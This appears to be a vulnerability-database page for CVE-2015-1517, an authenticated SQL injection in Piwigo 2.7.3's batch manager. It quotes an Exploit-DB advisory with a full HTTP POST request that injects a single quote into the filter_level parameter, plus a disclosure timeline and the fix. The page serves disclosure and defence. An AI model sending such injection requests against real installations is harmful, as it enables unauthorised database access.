CVE-2015-1517

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Published 2015-02-20 · Modified 2026-05-06

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

7.0

Description

SQL injection vulnerability in Piwigo before 2.7.4, when all filters are activated, allows remote authenticated users to execute arbitrary SQL commands via the filter_level parameter in a "Refresh photo set" action in the batch_manager page to admin.php.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-36125 webapps php text · 3 KB

Sven Schleier · 2015-02-19

Piwigo 2.7.3 - SQL Injection

text exploit Source: Exploit-DB

[CVE-2015-1517] Piwigo - SQL Injection in Version 2.7.3

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Product Information:

Software: Piwigo 

Tested Version: 2.7.3, released on 9 January 2015

Vulnerability Type: SQL Injection (CWE-89)

Download link: http://piwigo.org/basics/downloads

Description: Piwigo is photo gallery software for the web, built by an active community of users and developers. Extensions make Piwigo easily customizable. Icing on the cake, Piwigo is free and opensource (copied from http://piwigo.org/)

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Vulnerability description:

When an authenticated user is navigating to "Photos/Batch Manager" he is able to apply different filters. When all filters are activated and the button "Refresh photo set" is executed, the following POST request is sent to the server:



POST /piwigo-2.7.3/piwigo/admin.php?page=batch_manager HTTP/1.1
Host: <IP>
Content-Type: application/x-www-form-urlencoded
Cookie: pwg_id=ri5ra17df1v20b0h51liekceu1; interface_language=s%3A2%3A%22en%22%3B

filter_category_use=on&filter_level=1'&filter_level_include_lower=on&filter_dimension_min_width=600&filter_filesize_use=on&regenerateSuccess=0&filter_search_use=on&author=Type+the+author+name+here&filter_prefilter=caddie&title=Type+the+title+here&filter_dimension_min_ratio=1.25&level=4&tag_mode=OR&filter_prefilter_use=on&regenerateError=0&filter_filesize_min=0&filter_duplicates_date=on&remove_date_creation=on&date_creation=2015-02-06+00%3a00%3a00&submitFilter=Refresh+photo+set&filter_dimension_max_height=2300&filter_category_recursive=on&remove_title=on&filter_tags_use=on&filter_filesize_max=15.1&filter_dimension_max_width=3500&filter_dimension_max_ratio=1.78&selectAction=------------------&filter_dimension_use=on&remove_author=on&filter_duplicates_dimensions=on&start=0&filter_level_use=on&q=555-555-0199@example.com&confirm_deletion=on&filter_dimension_min_height=480


This POST request is prone to boolean-based blind, error-based and AND/OR time-based blind SQL injection in the parameter filter_level. When adding a single quote a database error message can be provoked. 

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Impact: 

Direct database access is possible if an attacker is exploiting the SQL Injection vulnerability.

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Solution:

Update to the latest version, which is   2.7.4, see http://piwigo.org/basics/downloads.

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Timeline:

Vulnerability found: 6.2.2015
Vendor informed: 6.2.2015
Response by vendor: 7.2.2015
Fix by vendor 12.2.2015
Public Advisory: 18.2.2015

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Application impact

Vendor	Product	Versions	Fixed
piwigo	piwigo	`{"endIncluding":"2.7.3"}`

References

CWEs

CWE-89

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.